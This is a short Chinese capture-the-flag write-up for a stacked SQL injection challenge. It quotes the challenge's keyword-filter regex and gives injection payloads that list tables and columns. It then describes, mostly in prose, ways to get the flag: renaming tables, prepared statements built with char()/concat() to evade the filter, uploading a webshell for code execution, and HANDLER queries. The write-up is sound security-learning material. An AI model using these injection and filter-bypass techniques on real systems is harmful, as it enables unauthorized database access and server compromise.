随便注

万能钥匙返回全部数据证明存在注入点,尝试联合查询后发现存在WAF:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

查表名

1';show tables; #

爆 words 列名:

1'; show columns from `words`;#

爆 1919810931114514 列名:

1'; show columns from `1919810931114514` ;#

这两处用了`符号。

显示我们在words表中查找,但是真正的flag在1919810931114514中。

下面拿flag有很多种姿势。

1.官方姿势

整理完这样子的:

将words表重命名为words1,1919810931114514重命名为words,把表的flag属性修改为id属性,使得在查找id的时候可以查找到flag,然后就可以访问了。

2.预处理语句绕过关键词过滤

本题可以利用 char() 方法将 ASCII 码转换为 SELECT 字符串,接着利用 concat() 方法进行拼接获得查询的SQL语句,最后执行即可,payload如下:

或者不用char()方法,直接将字符串相加也可以绕过限制:

3.RCE

报错注入后可以看见用户为root,直接上马拿权限。

先上马:

RCE:

读flag。

4.handler

handler代替select进行查询。

Last updated